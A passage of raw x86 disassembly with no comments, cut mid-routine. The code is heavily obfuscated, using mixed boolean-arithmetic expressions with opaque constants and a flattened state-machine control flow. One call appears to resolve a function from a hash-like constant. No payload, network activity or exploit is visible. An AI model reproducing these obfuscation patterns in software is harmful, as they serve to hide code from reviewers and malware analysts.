and eax, 0x7518
and edx, 0x2564
or edx, ecx
xor edx, 0xa1842564
mov ebp, edx
and ebp, 0xe7af8ae7
or eax, ebp
mov ebp, ebx
and ebp, esi
xor esi, ebx
or esi, ebp
mov ebx, esi
and esi, 0xd1e4f41
not ebx
and ebx, 0x30e1b0be
or esi, ebx
mov ebx, eax
and eax, 0xc70e4f41
not ebx
and ebx, 0x1061b0be
or eax, ebx
xor eax, esi
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov esi, edx
and edx, 0x17ab4f30
not esi
and esi, 0x6854b0cf
or edx, esi
mov esi, eax
xor edx, 0x17ab4f30
and esi, edx
xor edx, eax
mov eax, dword [esp + 4]
or edx, esi
mov ecx, eax
mov esi, eax
mov edi, eax
not ecx
or esi, 0xcca6a7cf
xor edi, 0x33595830
mov ebx, esi
mov ebp, ecx
and edi, eax
mov dword [esp], ecx
and ebx, 0x7bbfdc2f
and ebp, 0x400010
or ebp, ebx
mov ebx, edi
and edi, 0x844023d0
not ebx
or esi, ebx
and ebx, 0x7bbfdc2f
or edi, ebx
mov ebx, ecx
not esi
xor edi, ebp
mov ebp, eax
and ebx, 0x3f891ea1
or esi, edi
and ebp, 0xc076e15e
mov edi, esi
or ebp, ebx
and esi, 0x33595830
not edi
xor ebp, 0xc076e15e
mov ebx, ebp
and edi, 0xcca6a7cf
xor ebp, edx
or esi, edi
mov edi, edx
and ebx, edx
not edx
and edx, 0xc968ad51
and edi, 0x369752ae
or ebp, ebx
or edi, edx
mov edx, edi
xor edi, 0xc968ad51
mov eax, edi
xor edx, 0x215500e
or edi, esi
and eax, 0xbdaa23a0
and edx, 0x4255dc5f
not edi
or edx, eax
mov eax, esi
and esi, 0xbdaa23a0
not eax
and eax, 0x4255dc5f
or eax, esi
xor eax, edx
mov edx, ebp
and ebp, 0x16e38579
or edi, eax
not edx
mov eax, edi
and edi, 0xbc303604
and edx, 0xe91c7a86
not eax
or ebp, edx
and eax, 0x43cfc9fb
mov edx, ebp
xor ebp, 0xe91c7a86
or edi, eax
xor edx, 0x16e38579
mov eax, edi
xor edi, 0x43cfc9fb
xor eax, 0xbc303604
and edx, edi
mov esi, eax
xor esi, ebp
and ebp, eax
and esi, eax
or ebp, edx
mov eax, esi
and eax, ebp
xor ebp, esi
mov esi, ecx
or ebp, eax
or esi, 0x25daeb3c
mov eax, ebp
and ebp, 0x1e730a6a
not eax
and eax, 0xe18cf595
or ebp, eax
mov ebx, ebp
xor ebp, 0xa08cb195
xor ebx, 0x1e730a6a
and ebp, 0xa29ebbb7
mov edx, ebx
and ebx, 0x25daeb3c
and edx, 0x5d614448
or edx, ebp
mov ebp, esi
mov edi, edx
and ebp, 0xa8d8278b
xor edx, 0xa29ebbb7
xor edi, 0x5d614448
mov eax, edi
and edi, 0x1c4d2738
and eax, 0xda2514c3
or ebx, eax
mov eax, ecx
mov ecx, esi
not ecx
and ecx, 0x52251040
or ecx, ebp
mov ebp, dword [esp + 4]
xor ebp, 0x25daeb3c
and ebp, eax
mov eax, ebp
and ebp, 0x5727d874
not eax
or esi, eax
and eax, 0xa8d8278b
or ebp, eax
mov eax, ebx
not esi
and ebx, 0xf88c5941
xor ebp, ecx
not eax
mov ecx, dword [esp + 4]
and eax, 0x773a6be
or esi, ebp
or ebx, eax
mov eax, esi
and esi, 0xf88c5941
not eax
and eax, 0x773a6be
and ecx, 0x1c4d2738
or esi, eax
mov eax, edx
and eax, 0xe3b2d8c7
xor esi, ebx
or edi, eax
mov eax, dword [esp]
or edx, eax
and eax, 0xe3b2d8c7
or ecx, eax
not edx
mov eax, esi
xor ecx, edi
or edx, ecx
not edx
and eax, edx
xor edx, esi
or edx, eax
mov ecx, edx
mov eax, edx
xor ecx, 0xcea05cf7
and eax, 0x8a0048a0
and ecx, edx
not edx
and edx, 0x44a01457
mov edi, ecx
and ecx, 0x3876344d
or eax, edx
not edi
mov edx, eax
xor eax, 0x75ffb75f
mov esi, eax
xor edx, 0x8000000
or eax, edi
and edi, 0xc789cbb2
and esi, 0xc789cbb2
and edx, 0x8201445
or ecx, edi
not eax
or edx, esi
xor ecx, edx
mov edx, 0x4c133e5a
or eax, ecx
mov ecx, eax
and eax, 0xcea05cf7
not ecx
and ecx, 0x315fa308
or eax, ecx
mov ecx, 0x608e8c6
cmp eax, 0x3000
jmp 0x44b0f3
cmp ecx, 0x2390a206
je 0x449179
cmp ecx, 0x26d43cdb
jne 0x42f660
mov ecx, 0x1850f12e
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x5e042e06
je 0x44b107
cmp ecx, 0x61cdd923
jne 0x42f660
movzx eax, byte [esp + 0x11f]
mov ecx, 0x4b1d1fe4
shl eax, 5
add eax, 0x20
jmp 0x43e373
cmp ecx, 0xeaf66483
je 0x44b12b
cmp ecx, 0xeee08289
jne 0x42f660
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x94]
add ecx, 0x60
mov dword [esp + 0xa4], ecx
mov ecx, dword [esp + 0xa4]
add eax, dword [ecx + 8]
mov dword [esp + 0xa8], eax
push 0x5aefa0fb
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
mov dword [esp + 0xac], eax
mov ecx, 0xe99cb5dc
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0xdfae50b4
je 0x44b1a3
cmp ecx, 0xe11c5cca
jne 0x42f660
mov eax, dword [esp + 0x148]
mov ecx, 0xac2837a5
add eax, 4
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0xec]
mov eax, dword [eax]
add eax, 0xfffffff8
shr eax, 1
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x148]
mov dword [esp + 0x50], 0
add eax, 8
mov dword [esp + 0xf4], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x391a1219
je 0x44c197
cmp ecx, 0x3d6bf475
jne 0x42f660
mov ecx, dword [0x4d0db4]
lea eax, [ecx - 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
mov ebx, eax
mov dword [esp + 4], eax
not edx
and ecx, 0x9394171
and ebx, 0xb8626776
mov esi, edx
mov ebp, edx
and esi, 0xf6c6be8e
and ebp, 0x479d9889
or ecx, esi
mov esi, edx
or ebp, ebx
mov ebx, edx
and edx, 0xcaffa0e
xor ecx, 0x9394171
and esi, eax
xor ebp, 0xcefb259d
and ebx, 0x769942eb
mov edi, ecx
xor ecx, esi
or ebx, ebp
and edi, esi
or ecx, edi
not ecx
or ecx, 0x8966bd14
mov edi, ecx
mov ebp, ecx
and ecx, 0x3d90f6d8
not edi
or ebp, ebx
and edi, 0x42090023
not ebp
or edi, ecx
mov ecx, ebx
and ebx, 0x3d90f6d8
not ecx
and ecx, 0xc26f0927
or ecx, ebx
xor ecx, edi
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov edi, ecx
and ecx, 0xe81b3509
not edi
mov ebx, edi
or edi, 0x8966bd14
and ebx, 0x17e4caf6
mov ebp, edi
and edi, 0x8a51d290
or ecx, ebx
not ebp
mov ebx, ecx
xor ecx, 0x408010
and ebp, 0x7488006b
xor ebx, 0x22500
or ecx, 0x2114280
or ebp, edi
and ecx, 0x8a51d290
and ebx, 0x1262d04
or ebx, ecx
xor ebp, ebx
mov ecx, ebp
xor ecx, 0x636d7756
and ecx, ebp
not ebp
and ebp, 0x636d7756
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov edi, ecx
and ecx, 0x8c93e1ef
not edi
and edi, 0x736c1e10
or ecx, edi
mov eax, ecx
xor ecx, 0x10016946
xor eax, 0x50010a0
mov ebx, ecx
and ecx, 0xc8008205
and eax, 0x50150e2
or ebx, 0xcd01d2e7
or eax, ecx
mov ebp, ebx
and ebx, 0x7fd06f0e
mov edi, eax
not ebp
xor eax, 0x7ad02f0c
xor edi, 0x110e0
and ebp, 0x2e0010
and eax, 0x7fd06f0e
and edi, 0x800190e1
or ebp, ebx
or edi, eax
xor edi, ebp
mov ecx, edi
and edi, 0x20a14bc8
not ecx
mov eax, ecx
and ecx, 0x32fe2d18
and eax, 0xdf5eb437
or eax, edi
xor eax, 0x125f66d0
or ecx, eax
mov eax, esi
and esi, 0xcaffa0e
mov edi, ecx
mov dword [esp], ecx
mov ecx, dword [esp + 4]
not eax
not edi
mov ebx, ecx
or ecx, eax
and eax, 0xf35005f1
and ebx, 0xf35005f1
or esi, eax
not ecx
or edx, ebx
xor esi, edx
or ecx, esi
mov eax, ecx
and ecx, 0x32fe2d18
not eax
mov edx, eax
and eax, 0xcd01d2e7
or edx, 0x32fe2d18
or ecx, eax
mov eax, ecx
mov esi, edx
mov ebx, edx
and ecx, 0x1ba2c5b3
not esi
not eax
and ebx, 0xe45d3a4c
or edx, eax
and esi, 0x900c0a3
and eax, 0xe45d3a4c
or esi, ebx
or ecx, eax
not edx
xor ecx, esi
or edx, ecx
mov ecx, dword [esp]
mov esi, edx
mov eax, edx
xor esi, 0xa5bbcc00
and eax, 0x1010c00
and esi, edx
not edx
and edx, 0xa4bac000
mov ebx, esi
and esi, 0x54a43d50
or eax, edx
not ebx
mov edx, eax
xor eax, 0xfefef3ff
mov ebp, eax
xor edx, 0xc00
or eax, ebx
and ebx, 0xab5bc2af
and ebp, 0xab5bc2af
and edx, 0x4a00c00
or esi, ebx
not eax
mov ebx, ecx
or edx, ebp
mov ebp, ecx
xor ecx, 0x683ddb64
and ebx, 0x6a90202a
xor esi, edx
and ecx, edi
and edi, 0x956fdfd5
and ebp, 0x97c2249b
or eax, esi
or edi, ebx
mov dword [esp], ecx
mov edx, eax
and eax, 0xa5bbcc00
not edx
and edx, 0x5a4433ff
or eax, edx
mov edx, eax
mov esi, eax
not edx
and esi, 0x15402967
mov ebx, edx
and edx, 0x9e581971
and ebx, 0xeabfd698
or esi, ebx
mov ebx, edi
xor edi, 0x6a90202a
xor ebx, 0x9140cec1
mov ecx, edi
and ecx, 0x64bf3116
and ebx, 0x9b40cee9
or ebx, ecx
mov ecx, esi
xor esi, 0xeabfd698
xor ecx, 0x11400861
or edi, esi
and esi, 0x64bf3116
and ecx, 0x9b40cee9
not edi
or ecx, esi
mov esi, eax
xor ecx, ebx
xor esi, 0x97c2249b
mov ebx, eax
or edi, ecx
and esi, eax
and ebx, 0x61a7e68e
mov eax, edi
and edi, 0x953e7631
or ebx, edx
not eax
mov ecx, ebx
xor ebx, 0x99a3dea
and eax, 0x6ac189ce
xor ecx, 0x61a7e68e
or edi, eax
and ebx, ecx
mov ecx, ebp
mov eax, edi
xor edi, 0x42010880
xor eax, 0x953e7631
and edi, 0x57174a81
mov dword [esp + 4], eax
mov eax, dword [esp]
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, ebx
and ecx, esi
xor esi, ebx
or esi, ecx
mov ecx, eax
and eax, 0x4678cbc2
not ecx
and ecx, 0xb987343d
or eax, ecx
mov ecx, esi
and esi, 0x4678cbc2
not ecx
and ecx, 0xb987343d
or esi, ecx
xor esi, eax
mov eax, dword [esp + 4]
mov edx, esi
mov ebx, esi
xor edx, 0x6a01914
and ebx, 0x45afd8ee
and edx, esi
not esi
mov ecx, eax
and esi, 0xba502711
and eax, 0xf95fe6eb
and ecx, 0xa8e8b57e
or ebx, esi
or ecx, edi
mov esi, ebx
xor ebx, 0xba502711
mov edi, ecx
xor esi, 0x45afd8ee
xor ecx, 0x57174a81
xor edi, 0xa8e8b57e
mov ebp, edi
and edi, 0xa6a17f03
and ebp, 0x6a01914
or eax, ebp
mov ebp, esi
and esi, 0xa6a17f03
and ebp, 0x6a01914
mov dword [esp + 4], eax
mov eax, ebp
and eax, edx
xor edx, ebp
mov ebp, dword [esp + 4]
or edx, eax
mov eax, ebp
not eax
and eax, edx
not edx
and edx, ebp
or edx, eax
mov eax, ecx
or ecx, ebx
and ebx, 0x595e80fc
and eax, 0x595e80fc
or esi, ebx
not ecx
or edi, eax
xor esi, edi
or ecx, esi
mov esi, edx
and edx, 0x901cc267
mov eax, ecx
and ecx, 0x5d0d9528
not esi
not eax
mov edi, esi
and eax, 0xa2f26ad7
and edi, 0x6fe33d98
or ecx, eax
or edx, edi
mov eax, ecx
xor ecx, 0xa2f26ad7
xor eax, 0x100c8020
or esi, ecx
and ecx, 0x6fe33d98
and eax, 0x901cc267
not esi
or eax, ecx
xor eax, edx
or esi, eax
mov edx, esi
mov edi, esi
mov eax, esi
and esi, 0x758f57ad
not edx
and edi, 0x88212130
and eax, 0x5158564b
mov ecx, edx
and edx, 0x8a70a852
and ecx, 0x26868884
or esi, edx
or edi, ecx
mov edx, esi
xor esi, 0x47717ab5
xor edi, 0x88212130
xor edx, 0x308e0508
or eax, edi
and edx, 0x32fe2d18
mov ecx, eax
and eax, 0xaea7a9b4
or esi, edx
not ecx
mov edx, esi
and esi, 0xff0ad7d
and ecx, 0x5158564b
not edx
or eax, ecx
and edx, 0xf00f5282
mov ecx, eax
xor eax, 0x32fe2d18
or esi, edx
not ecx
mov edx, esi
and ecx, 0xcd01d2e7
xor edx, 0xff0ad7d
or eax, ecx
mov dword [esp], edx
mov ecx, eax
and eax, 0xa2b2881
not ecx
and ecx, 0xf5d4d77e
or eax, ecx
mov ecx, eax
xor eax, 0xf5d4d77e
mov edi, eax
xor ecx, 0x292080
or eax, 0x91064201
and edi, 0x8ed68f47
and ecx, 0x712970b8
mov edx, eax
and eax, 0x4b737c2f
or ecx, edi
not edx
mov edi, ecx
xor ecx, 0x8ed68f47
and edx, 0x248881d0
mov ebx, ecx
or edx, eax
mov eax, esi
xor esi, 0x9ef6ef7c
xor edi, 0x60085008
or ebx, 0x6ef9bdfe
xor eax, 0xf00f5282
and edi, 0x608cd909
mov ebp, ebx
and ebx, 0x4b737c2f
and esi, eax
and eax, 0x608cd909
not ebp
and ebp, 0x90040200
or ebp, ebx
mov ebx, dword [esp]
xor edx, ebp
mov ebp, esi
and ebx, 0x6ef9bdfe
and ebp, ebx
xor ebx, esi
mov esi, edx
and edx, 0xe764c3e7
not esi
or ebx, ebp
and esi, 0x189b3c18
or edx, esi
mov esi, ebx
and ebx, 0xe764c3e7
not esi
and esi, 0x189b3c18
or ebx, esi
xor ebx, edx
mov edx, ecx
and edx, 0x9f7326f6
or edi, edx
mov edx, dword [esp]
or ecx, edx
and edx, 0x9f7326f6
or eax, edx
not ecx
mov edx, ebx
and ebx, 0x2af5dce4
xor eax, edi
not edx
or ecx, eax
mov esi, edx
mov eax, ecx
or edx, ecx
and esi, 0xd50a231b
and ecx, 0xd50a231b
not eax
or ebx, esi
not edx
and eax, 0x2af5dce4
or eax, ecx
xor eax, ebx
or edx, eax
mov esi, edx
mov eax, edx
mov ecx, edx
mov edi, edx
not esi
and eax, 0x76636580
xor ecx, 0x2d14b418
and edi, 0x9976a75
mov ebx, esi
and ecx, edx
and ebx, 0x899c9a7f
or eax, ebx
mov ebx, eax
and eax, 0x8001018
xor ebx, 0x9149018
or ebx, 0xd2eb4be7
mov ebp, ebx
and ebp, 0xe7f6ae64
or eax, ebp
mov ebp, ecx
and ecx, 0x1809519b
not ebp
or ebx, ebp
and ebp, 0xe7f6ae64
or ecx, ebp
not ebx
xor ecx, eax
or ebx, ecx
mov eax, ebx
and ebx, 0x2d14b418
not eax
and eax, 0xd2eb4be7
or ebx, eax
mov ecx, ebx
and ebx, 0xcb1999c5
not ecx
mov eax, ecx
and ecx, 0x2a392595
and eax, 0x34e6663a
or eax, ebx
xor eax, 0xe120bc50
or ecx, eax
mov eax, ecx
and ecx, 0x73721f02
not eax
and eax, 0x8c8de0fd
or ecx, eax
mov eax, esi
and eax, 0xf668958a
mov ebx, ecx
xor ecx, 0x8c8de0fd
or edi, eax
xor ebx, 0x321f00
mov eax, ecx
and ecx, 0xff4960d6
xor edi, 0xdc51b01f
and ebx, 0xb69f29
or edi, esi
or ebx, ecx
and esi, 0x89001090
mov ebp, edi
or eax, edi
and edi, 0xff4960d6
not ebp
mov ecx, eax
and ebp, 0xb69f29
not ecx
or ebp, edi
and ecx, 0x1f0edd77
xor ebp, ebx
mov ebx, eax
mov edi, ebp
and ebx, 0xe0f12288
and ebp, 0x1f0edd77
not edi
or ecx, ebx
or eax, edi
and edi, 0xe0f12288
or ebp, edi
not eax
xor ebp, ecx
or eax, ebp
mov ecx, eax
and eax, 0xa182505
not ecx
mov edi, ecx
or ecx, 0x2a392595
and edi, 0x20210090
mov ebx, ecx
and ecx, 0x24edea65
or eax, edi
not ebx
mov edi, eax
xor eax, 0x24e5ca60
and ebx, 0xd102100a
xor edi, 0xa100500
and eax, 0x24edea65
or ebx, ecx
and edi, 0xa100590
or edi, eax
xor ebx, edi
mov eax, ebx
mov dword [esp + 0x10], ebx
not eax
mov edi, eax
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x65e6f365
and edi, 0x8a01089a
mov ecx, eax
and ecx, 0x50ba7701
or edi, ecx
mov ecx, ebx
xor ecx, 0x9a190c9a
and ecx, ebx
mov ebx, ecx
and ecx, 0xaf4588fe
not ebx
or eax, ebx
and ebx, 0x50ba7701
or ecx, ebx
not eax
xor ecx, edi
or eax, ecx
mov ecx, eax
and eax, 0x9a190c9a
not ecx
and ecx, 0x65e6f365
or eax, ecx
mov ecx, eax
mov edi, eax
xor ecx, 0xcf04ddab
not edi
and ecx, eax
and edi, 0xc5a6e080
and eax, 0x3a591f7f
or eax, edi
mov edi, ecx
and ecx, 0x87979515
not edi
mov ebx, edi
and ebx, 0x78686aea
or ecx, ebx
mov ebx, eax
xor eax, 0xaa23d2b
xor ebx, 0x85158014
or edi, eax
and eax, 0x78686aea
and ebx, 0x87979515
not edi
or ebx, eax
xor ebx, ecx
or edi, ebx
mov eax, edi
and edi, 0xcae6279f
not eax
and eax, 0x3519d860
or edi, eax
mov ecx, edi
xor edi, 0x15019840
xor ecx, 0x8024071d
and edi, 0x5fc3b8c2
and ecx, 0xa03c473d
or ecx, edi
mov edi, ecx
xor ecx, 0xa03c473d
xor edi, 0x18c31880
mov eax, ecx
and eax, 0x4708a156
and edi, 0xb8f75ea9
or edi, eax
mov eax, edx
xor eax, 0xc911179b
xor edi, 0x4708a156
and eax, edx
and edx, 0x4011070b
xor ecx, edi
or edx, esi
and ecx, edi
xor edx, 0x4011070b
mov esi, edx
and esi, eax
xor eax, edx
or eax, esi
mov edx, eax
and eax, 0xf947241d
not edx
and edx, 0x6b8dbe2
or eax, edx
mov edi, eax
mov edx, eax
xor eax, 0x4f4ba196
xor edx, 0x8e004c61
xor edi, 0x30563386
and eax, edi
and edx, 0xbe527e67
and edi, 0x41ad8198
or edi, edx
mov edx, edi
mov ebx, edi
xor edi, 0x96003202
xor edx, 0x41ad8198
xor ebx, 0xc14fec77
and edi, 0xd60d3202
and ebx, edx
mov esi, ebx
and ebx, 0x6d93420d
not esi
mov ebp, esi
and ebp, 0x926cbdf2
or ebx, ebp
mov ebp, eax
and eax, 0x6d93420d
not ebp
or esi, ebp
and ebp, 0x926cbdf2
or eax, ebp
not esi
xor eax, ebx
mov ebx, ecx
or esi, eax
and ebx, 0x981a16be
mov eax, esi
and esi, 0xc011dbe6
not eax
and eax, 0x3fee2419
or esi, eax
mov eax, edx
and edx, 0x30fb2254
and eax, 0x29f2cdfd
xor esi, 0x8ff76ba2
or eax, edi
mov edi, ecx
xor eax, 0xe6f61056
not edi
or edx, eax
mov eax, esi
not edx
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
not eax
and edx, eax
mov esi, eax
and esi, edx
xor edx, eax
mov eax, edi
or edx, esi
and eax, 0x67e5e941
mov ebp, edx
or ebx, eax
and edx, 0x941181be
mov eax, ebx
not ebp
xor ebx, 0x22a14040
and ebp, 0x6bee7e41
or ebx, 0x4556bf3f
xor eax, 0x80080080
or ebp, edx
mov edx, ebx
and eax, 0xa2a800c0
and edx, 0x1d15c703
or eax, edx
mov edx, ecx
xor edx, 0xbaa940c0
and edx, ecx
and ecx, 0x14b91404
mov esi, edx
and edx, 0xe2ea38fc
not esi
or ebx, esi
and esi, 0x1d15c703
or edx, esi
not ebx
xor edx, eax
or ebx, edx
mov edx, ebp
mov eax, ebx
and ebx, 0xbaa940c0
xor edx, 0x941181be
not eax
and eax, 0x4556bf3f
or ebx, eax
mov eax, edx
mov dword [esp], ebx
mov ebx, ebp
xor ebp, 0xd13a0ab
and eax, 0x9079c824
xor ebx, 0x6bee7e41
mov esi, ebx
and ebp, ebx
and ebx, 0x6f8637db
or ebx, eax
and esi, 0x4cddce0
xor ebx, 0xda29aee8
or ebx, edx
and edx, 0x6230020a
or esi, edx
xor esi, 0x4cddce0
mov eax, esi
and eax, ebp
xor ebp, esi
mov esi, dword [esp]
or ebp, eax
mov eax, ebp
and ebp, 0x2e7f48c6
not eax
and eax, 0xd180b739
mov edx, esi
or ebp, eax
mov eax, esi
xor edx, 0xb5af9933
not eax
mov esi, ebp
mov dword [esp + 0x18], eax
and eax, 0x4a5066cc
xor esi, 0x4882962c
or edx, eax
mov eax, edi
and edi, 0xb5af9933
mov dword [esp + 0x14], esi
and esi, 0xb5af9933
and eax, 0xeb46ebfb
or eax, ecx
xor eax, 0xa1168d37
or edi, eax
mov eax, edi
and edi, 0x536e07a8
not eax
and eax, 0xac91f857
or edi, eax
mov eax, ebp
xor eax, 0xb77d69d3
mov ecx, edi
xor edi, 0xac91f857
mov dword [esp + 4], eax
and eax, 0x4a5066cc
xor ecx, 0x51480508
or esi, eax
mov eax, edx
and edx, 0xa6365ab2
and ecx, 0x59c9a54d
not eax
not esi
mov ebp, eax
or esi, dword [esp + 4]
xor ebp, edi
and edi, 0xa6365ab2
and ebp, eax
and eax, 0x59c9a54d
or ecx, edi
or eax, edx
mov edx, ebp
and ebp, 0x97d75a71
not edx
xor ecx, eax
mov edi, esi
mov eax, edx
not edi
and eax, 0x6828a58e
or ebp, eax
mov eax, ecx
and ecx, 0x97d75a71
not eax
or edx, eax
and eax, 0x6828a58e
or ecx, eax
not edx
mov eax, esi
xor ecx, ebp
xor eax, 0x78fce44a
or edx, ecx
and eax, esi
and esi, 0x78050622
mov dword [esp + 0x1c], edx
mov edx, ebx
and ebx, 0x33295b32
mov ebp, eax
not edx
mov ecx, edx
and edx, 0x78fce44a
and ecx, 0xccd6a4cd
or ecx, ebx
mov ebx, edi
and ebx, 0x78fce44a
and ebp, ebx
xor ebx, eax
mov eax, ecx
or ebx, ebp
mov ebp, ecx
xor eax, 0xccd6a4cd
xor ecx, 0x33295b32
xor ebp, 0xb42a4087
and ebp, eax
and eax, 0x78050622
mov dword [esp + 8], ebp
and dword [esp + 8], edx
xor edx, ebp
mov ebp, ebx
or edx, dword [esp + 8]
not ebp
and ebp, edx
not edx
and edx, ebx
mov ebx, edi
or edi, ecx
and ecx, 0x87faf9dd
and ebx, 0x87faf9dd
or eax, ecx
not edi
or edx, ebp
or esi, ebx
mov ecx, edx
and edx, 0xa7106445
xor eax, esi
not ecx
or edi, eax
mov eax, edi
and edi, 0x30174fc4
not eax
and eax, 0xcfe8b03b
or edi, eax
mov eax, ecx
and eax, 0x58ef9bba
or edx, eax
mov eax, edi
xor edi, 0xcfe8b03b
xor eax, 0x20104444
or ecx, edi
and edi, 0x58ef9bba
and eax, 0xa7106445
not ecx
or eax, edi
xor eax, edx
or ecx, eax
mov eax, dword [esp + 0x1c]
not ecx
mov edx, ecx
xor ecx, eax
or edx, eax
not ecx
mov esi, edx
and ecx, eax
mov eax, edx
and esi, 0xeb7a7a54
not eax
and eax, 0x148585ab
or eax, esi
mov esi, ecx
and ecx, 0x148585ab
not esi
or edx, esi
and esi, 0xeb7a7a54
or ecx, esi
not edx
mov esi, dword [esp + 0x14]
xor ecx, eax
mov eax, dword [esp + 0x18]
or edx, ecx
and esi, 0xe6fe316e
mov ebp, eax
and eax, 0x1901ce91
mov ecx, eax
mov eax, dword [esp]
and eax, 0xe6fe316e
or eax, ecx
mov ecx, eax
mov eax, dword [esp + 4]
or ebp, eax
and eax, 0x1901ce91
or esi, eax
mov eax, ebp
not eax
xor esi, ecx
mov ecx, ebp
and ecx, 0x8bef4150
and eax, 0x7410beaf
or eax, ecx
mov ecx, esi
and esi, 0x7410beaf
not ecx
or ebp, ecx
and ecx, 0x8bef4150
or esi, ecx
not ebp
xor esi, eax
or ebp, esi
mov ecx, ebp
mov eax, ebp
xor ecx, 0xc0a53980
not eax
and ecx, ebp
or ebp, 0x3f5ac67f
and eax, 0xa52100
mov esi, ebp
and esi, 0xd308ded8
or eax, esi
mov esi, ecx
and ecx, 0x2cf72127
not esi
or ebp, esi
and esi, 0xd308ded8
or ecx, esi
not ebp
xor ecx, eax
or ebp, ecx
mov eax, ebp
and ebp, 0x700e0a1c
not eax
and eax, 0x8ff1f5e3
or ebp, eax
mov eax, ebp
xor ebp, 0xd10c023
xor eax, 0x10211288
and ebp, 0xad9ae137
and eax, 0x52651ec8
or ebp, eax
mov ecx, ebp
xor ebp, 0x51ac006
xor ecx, 0x52241a48
and ebp, 0x55bc486
and ecx, 0xfaa43b79
or ecx, ebp
mov eax, ecx
xor ecx, 0x40a8484
xor eax, 0xfaa43b79
and ecx, 0x242aa785
mov edi, eax
and eax, 0x5d2de68d
and edi, 0xdbd5587a
or edi, ecx
mov ecx, edx
xor ecx, 0xa2d21972
mov ebx, ecx
and ecx, edx
not edx
and ebx, edx
mov esi, ebx
and ebx, 0xc94dfd31
not esi
mov ebp, esi
and ebp, 0x36b202ce
or ebx, ebp
mov ebp, ecx
and ecx, 0xc94dfd31
not ebp
or esi, ebp
and ebp, 0x36b202ce
or ecx, ebp
not esi
mov ebp, dword [esp + 0x10]
xor ecx, ebx
or esi, ecx
mov ecx, edi
xor edi, 0x86f8bef7
xor ecx, 0xdbd5587a
and edi, ecx
mov ebx, edi
and ebx, eax
xor eax, edi
mov edi, esi
and esi, 0x49b7db25
not edi
or eax, ebx
and edi, 0xb64824da
or esi, edi
mov edi, eax
and eax, 0x49b7db25
not edi
and edi, 0xb64824da
or eax, edi
xor eax, esi
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov esi, eax
and eax, 0x51d49cbf
mov edx, ecx
and ecx, 0x9e888b33
not esi
not edx
mov edi, esi
and edx, 0x617774cc
and edi, 0xae2b6340
or ecx, edx
or eax, edi
mov edx, ecx
xor ecx, 0x617774cc
xor edx, 0x10808833
or esi, ecx
and ecx, 0xae2b6340
and edx, 0x51d49cbf
not esi
or edx, ecx
xor edx, eax
or esi, edx
mov ecx, esi
mov edx, esi
mov ebx, esi
not ecx
and edx, 0xdb25bed6
mov eax, ecx
mov edi, ecx
and eax, esi
and edi, 0xfca39166
and esi, 0x35c6e99
or esi, edi
not esi
or esi, ecx
and ecx, 0x24da4129
or ecx, edx
mov edx, eax
and eax, 0x24da4129
not edx
or ebx, edx
and edx, 0xdb25bed6
or eax, edx
not ebx
xor eax, ecx
mov ecx, esi
or ebx, eax
not ecx
mov eax, ebx
and ebx, 0xe0801002
not eax
and eax, 0x1c238164
or ebx, eax
xor ebx, 0xe0801002
or ebx, 0x35c6e99
mov eax, ebx
and ecx, ebx
or ebx, esi
not eax
mov edx, ebx
and esi, eax
not edx
or esi, ecx
mov ecx, ebx
and edx, 0x88a08140
mov eax, esi
and ecx, 0x755f763f
and esi, 0x8aa089c0
not eax
or edx, ecx
or ebx, eax
and eax, 0x755f763f
or esi, eax
not ebx
xor esi, edx
mov edx, dword [esp + 0xc]
or ebx, esi
mov eax, ebx
mov ecx, ebx
and ebx, 0x33a74ccc
not eax
and ecx, 0x409022
and eax, 0xcc182311
or ecx, eax
mov eax, edx
xor ecx, 0x409022
and eax, 0x9e799cd5
or ebx, ecx
mov dword [esp + 4], ebx
mov ebx, ebp
and ebp, 0x80a30408
and ebx, 0x6186632a
or ebx, eax
mov eax, ebx
and ebx, 0xd8010441
not eax
and eax, 0x27fefbbe
or ebx, eax
mov edi, ebx
mov esi, ebx
xor ebx, 0x34842bc7
xor esi, 0xb987676b
xor edi, 0x46789894
mov eax, esi
mov ecx, edi
and ebx, esi
and eax, 0x570dbae8
and ecx, 0xa8f24517
or ecx, eax
mov eax, ecx
xor ecx, 0xc6dc8a28
xor eax, 0x28224517
and eax, 0x6e2ecf3f
or ecx, eax
mov eax, edx
and eax, 0x7f5cfbf7
or ebp, eax
mov eax, ebp
xor ebp, 0xb48caf4
xor eax, 0x80a30408
and ebp, 0x8b69caf4
mov edx, eax
and eax, 0x91d130c0
and edx, 0x7496350b
or edx, ebp
xor edx, 0x1ab8fa34
or eax, edx
mov edx, eax
not edx
and edx, ecx
not ecx
mov ebp, ecx
xor ebp, eax
and eax, ecx
and ebp, ecx
or eax, edx
mov ecx, ebp
and ebp, 0xd5a02ffe
not ecx
mov edx, ecx
and edx, 0x2a5fd001
or ebp, edx
mov edx, eax
and eax, 0xd5a02ffe
not edx
or ecx, edx
and edx, 0x2a5fd001
or eax, edx
not ecx
xor eax, ebp
or ecx, eax
mov edx, ecx
mov eax, ecx
xor edx, 0x91d130c1
and eax, 0xc83ee897
and edx, ecx
not ecx
and ecx, 0x37c11768
or eax, ecx
mov ecx, eax
xor eax, 0x11c11040
or eax, 0x6e2ecf3e
xor ecx, 0x100001
mov ebp, eax
and ecx, 0x11500041
and ebp, 0xa681f8b2
or ecx, ebp
mov ebp, edx
and edx, 0x597e074d
not ebp
or eax, ebp
and ebp, 0xa681f8b2
or edx, ebp
not eax
xor edx, ecx
mov ecx, edi
and edi, 0x5620cae8
or eax, edx
and ecx, 0x8d034cac
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
and ecx, 0x72fcb352
not edx
and edx, 0x8d034cad
